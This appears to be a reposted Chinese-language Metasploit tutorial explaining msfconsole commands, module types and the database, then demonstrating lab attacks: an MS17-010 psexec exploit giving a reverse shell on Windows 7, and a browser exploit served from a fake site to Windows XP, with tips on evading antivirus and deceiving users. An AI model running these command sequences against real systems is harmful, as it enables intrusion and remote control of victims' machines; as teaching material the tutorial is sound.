MSF——基本使用和Exploit模块(一)
MSF系列:
MSF——基本使用和Exploit模塊(一)
MSF——Payload模塊(二)
MSF——Meterpreter(三)
MSF——信息收集(四)
MSF——Metasploit Framework
目前最流行、最強(qiáng)大、最具擴(kuò)展性的滲透測試平臺軟件
2003年由HDMore發(fā)布第一版,2007年用ruby語言重寫,MSF默認(rèn)集成在KaliLinux之中
Kali左側(cè)有MSF的快捷方式,可以直接點擊使用,也可以在終端輸入msfconsole啟動MSF
msfdb
用來管理MSF的數(shù)據(jù)庫的命令
msfdb init # start and initialize the database msfdb reinit # delete and reinitialize the database msfdb delete # delete database and stop using it msfdb start # start the database msfdb stop # stop the database msfdb status # check service status msfdb run # start the database and run msfconsole
MSF架構(gòu)——技術(shù)功能模塊
MSF默認(rèn)存放模塊的目錄如下
/usr/share/metasploit-framework/modules/
MSF有6個模塊,分別對上面目錄下的6個子文件夾:
auxiliary
負(fù)責(zé)執(zhí)行信息收集、掃描、嗅探、指紋識別、口令猜測和Dos攻擊等功能的輔助模塊
exploits
利用系統(tǒng)漏洞進(jìn)行攻擊的動作,此模塊對應(yīng)每一個具體漏洞的攻擊方法(主動、被動)
payloads
成功exploit之后,真正在目標(biāo)系統(tǒng)執(zhí)行的代碼或指令。分為3種類型的payload,分別是single、stages和stagers。shellcode是特殊的payload,用于拿shell。
single:all-in-one。完整的payload,這些payload都是一體化的,不需要依賴外部的庫和包。
stagers:目標(biāo)計算機(jī)內(nèi)存有限時,先傳輸一個較小的payload用于建立連接
stages:利用stagers建立的連接下載后續(xù)payload
encoders
對payload進(jìn)行加密,躲避AntiVirus檢查的模塊
nops
提高payload穩(wěn)定性及維持大小。在滲透攻擊構(gòu)造惡意數(shù)據(jù)緩沖區(qū)時,常常要在真正要執(zhí)行的Shellcode之前添加一段空指令區(qū), 這樣當(dāng)觸發(fā)滲透攻擊后跳轉(zhuǎn)執(zhí)行ShellCode時,有一個較大的安全著陸區(qū),從而避免受到內(nèi)存 地址隨機(jī)化、返回地址計算偏差等原因造成的ShellCode執(zhí)行失敗,提高滲透攻擊的可靠性。
post
后期滲透模塊。在取得目標(biāo)系統(tǒng)遠(yuǎn)程控制權(quán)后,進(jìn)行一系列的后滲透攻擊動作,如獲取敏感信息、跳板攻擊等操作
基本使用
Kali中更新MSF
apt update apt install metasploit-framework
msfconsole
控制臺命令支持TAB補(bǔ)全,支持外部命令的執(zhí)行(系統(tǒng)命令)
help或?:
顯示msfconsole可以使用的命令。help <command>,顯示某一命令的用法。
connect:
可以理解成MSF中的nc命令,可以使用connect -h查看詳細(xì)用法。
connect [options] <host> <port>
show:
用show命令查看msf提供的資源。在根目錄下執(zhí)行的話,由于有些模塊資源比較多,需要執(zhí)行show命令要較長的時間
show exploits:查看可以使用的exploit
除了exploits,還支持all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options。有些選項需要用use使用一個模塊后才能使用,比如給showtargets。
search:
搜索模塊
簡單搜索:seachms17_010
多條件搜索縮小范圍:search name:mysql type:exploit platform:linux
info:
查看模塊的信息
info <module name>
如果用use使用了一個模塊,直接輸入info即可查看
use:
search找到模塊后,用use使用模塊
use exploit/windows/smb/ms08_067_netapi
用use使用一個模塊后,可以使用 show options查看我們需要配置的選項、使用showtargets選擇目標(biāo)主機(jī)系統(tǒng)、使用showpayloads選擇payload、使用showadvanced查看高級參數(shù)、使用showevasion查看用來做混淆、逃避的模塊。
set/setg:
設(shè)置參數(shù),比如要滲透的主機(jī)IP、payload等。我們可以用show missing查看沒有設(shè)置的參數(shù)
setg是設(shè)置全局變量,避免每個模塊都要輸入相同的參數(shù)
unset/unsetg:
取消設(shè)置參數(shù)。unsetg是取消設(shè)置的全局變量
save:
設(shè)置的參數(shù)在下一次啟動的時候不會生效,可以用save保存我們使用過程的設(shè)置。
check:
檢查目標(biāo)是否真的存在這個漏洞,大部分模塊沒有check功能
back:
回到msfconsole根目錄
run或exploit:
開始使用模塊
exploit -j:以后臺的方式運行
sessions:
查看當(dāng)前已經(jīng)建立的sessions,說明已經(jīng)拿到了shell
sessions -i id 可以進(jìn)入一個session交互
load/unload:
調(diào)用外部的掃描命令,比如openvas
loadpath:
加載自己的模塊
route:
添加一條路由。比如發(fā)往某個子網(wǎng)的流量都通過攻陷的機(jī)器發(fā)送。
msf數(shù)據(jù)庫相關(guān)
db_status:
查看MSF有沒有連接上后臺數(shù)據(jù)庫。如果沒有連上數(shù)據(jù)庫,在終端輸入msfdb start后再啟動MSF。沒有連接上數(shù)據(jù)庫MSF也是可以使用的,只是連接上了的話,我們滲透過程中獲取的一些信息可以保存下來,比如目標(biāo)機(jī)器的賬號密碼信息等。
db_rebuild_cache:
這個命令將所有模塊信息緩存到數(shù)據(jù)庫中,通過數(shù)據(jù)庫檢索效率就高很多了。
db_disconnect:
斷開數(shù)據(jù)庫連接。
db_connect:
msf默認(rèn)連上postgresql的msf數(shù)據(jù)庫。可以用db_connect連接我們指定的數(shù)據(jù)庫。如果要使用配置文件進(jìn)行連接,默認(rèn)的數(shù)據(jù)庫配置文件為/usr/share/metasploit-framework/config/database.yml,可以參考這個文件進(jìn)行編寫。
db_nmap:
集成在msf中的namp掃描命令。不同的是db_nmap掃描的結(jié)果會自動保存到數(shù)據(jù)庫中。
可以輸入hosts查看掃描到的主機(jī)信息
如果數(shù)據(jù)多,可以用 hosts IP 進(jìn)行過濾;hosts -u 查看up狀態(tài)的機(jī)器;使用 hosts -c 列名[,列名] 指定要看的列;使用 hosts -S 進(jìn)行搜索,比如hosts -S windows。
輸入services可以查看主機(jī)開放的端口情況
creds:
查看掃描出來的密碼信息
vulns:
查看掃描出來的漏洞信息
loot:
有些賬號密碼我們可能沒有獲取到明文信息,可是經(jīng)過加密的hash值,可以用這個顯示
db_export/db_import:
數(shù)據(jù)庫的導(dǎo)入和導(dǎo)出
db_export -f /root/msfbak.xml
nmap導(dǎo)出的也可以導(dǎo)入到msf中
nmap -A 192.168.1.113 -oX nmap.xml => db_import -f /root/nmap.xml
Exploit模塊
分為Active Exploit和Passive Exploit
Active Exploit
目標(biāo)提供了某種服務(wù),服務(wù)存在漏洞
useexploit/windows/smb/ms17_010_psexec
set RHOST 192.168.1.100
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.1.1
set LPORT 4444
set SMBUSER user1
set SMBPASS pass1
exploit
Passive Exploit
被攻擊者通常不開放端口或開放端口上的服務(wù)沒有漏洞,漏洞存在于受害者機(jī)器上的客戶端軟件上。客戶端需要訪問某些遠(yuǎn)程服務(wù)器上的服務(wù),當(dāng)它訪問的時候,當(dāng)在服務(wù)器上放置了漏洞利用代碼,由于客戶端程序存在漏洞,服務(wù)器也會將這些漏洞利用代碼作為響應(yīng)報文返回給客戶端,造成客戶端漏洞被利用。
useexploit/windows/browser/ms07_017_ani_loadimage_chunksize
setURIPATH /
set PAYLOADwindows/shell/reverse_tcp
set LHOST 192.168.1.1
set PORT 4444
exploit
Active Exploit演示
實驗機(jī)器
受害者:Windows 7 旗艦版 6.1.7601 Service Pack 1 Build 7601,關(guān)閉Windows7防火墻。IP地址為192.168.171.133
攻擊者:Kali 4.18.0。IP地址為192.168.171.129
Kali上啟動MSF,可以先啟動postgresql數(shù)據(jù)庫,防止后面MSF連不上數(shù)據(jù)庫
service postgresql start
我們利用exploit/windows/smb/ms17_010_psexec進(jìn)行攻擊,由于它是基于SMB協(xié)議的,我們需要知道目標(biāo)系統(tǒng)的一個用戶賬號和密碼,適合在已經(jīng)知道目標(biāo)系統(tǒng)賬號密碼并開放SMB端口的情況下進(jìn)行攻擊。
然后設(shè)置受害者的IP地址,賬號和密碼,并設(shè)置payload為windows/shell/reverse_tcp。這是一個反彈連接,我們還需要設(shè)置目標(biāo)反彈連接時的IP地址和端口。
然后輸入exploit執(zhí)行,可以看到已經(jīng)創(chuàng)建了一個session
通過session -l可以查看已經(jīng)創(chuàng)建的會話
根據(jù)上面的Id,我們可以sessions -i 1進(jìn)入這個shell
查看一下目標(biāo)的機(jī)器IP
可以看到上面有很多亂碼,在Kali的終端中,我們可以設(shè)置shell中字符的編碼
這時候就不會是亂碼了
Passive Exploit演示
實驗機(jī)器
受害者:Windows XP SP2 professional。IP地址為192.168.171.135
攻擊者:Kali 4.18.0。IP地址為192.168.171.129
打開XP的防火墻
這時候用Active的方式進(jìn)行攻擊不會成功,采用Passive方式,構(gòu)造一個鏈接,誘使被害者連接,利用瀏覽器的漏洞。
我們要偽造一個網(wǎng)站,誘使受害者攻擊。SRVHOST可以指定為本機(jī)的IP地址,我們也可以打開SSL和設(shè)置SSL的證書,迷惑有安全意識的用戶。
URIPATH是訪問的URL地址,可以手動指定,比如192.168.171.129/service,這里我們默認(rèn)設(shè)置為根目錄即可。
然后輸入exploit
它不會主動向受害者的機(jī)器發(fā)送利用代碼,而是偽造了一個存在漏洞利用代碼的WEB站點,這個站點等待IE版本存在漏洞的用戶去訪問它,將exploit注入到瀏覽器進(jìn)程中,利用瀏覽器漏洞執(zhí)行payload
我們在XP機(jī)器上用IE瀏覽器訪問這個URL
Kali上已經(jīng)有了一個sessions,進(jìn)入這個sessions
輸入以下命令讓XP機(jī)器關(guān)機(jī)
shutdown -s -f -t 0
在XP上就會看到機(jī)器正在關(guān)機(jī)
總結(jié)
對開放的服務(wù)器一般使用Active的方式,對客戶端程序的攻擊一般使用Passive的方式
參考資料
https://www.freebuf.com/column/194412.html
總結(jié)
以上是生活随笔為你收集整理的MSF——基本使用和Exploit模块(一)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 迷宫寻宝(自编简单版)
- 下一篇: sublime flatLand 主题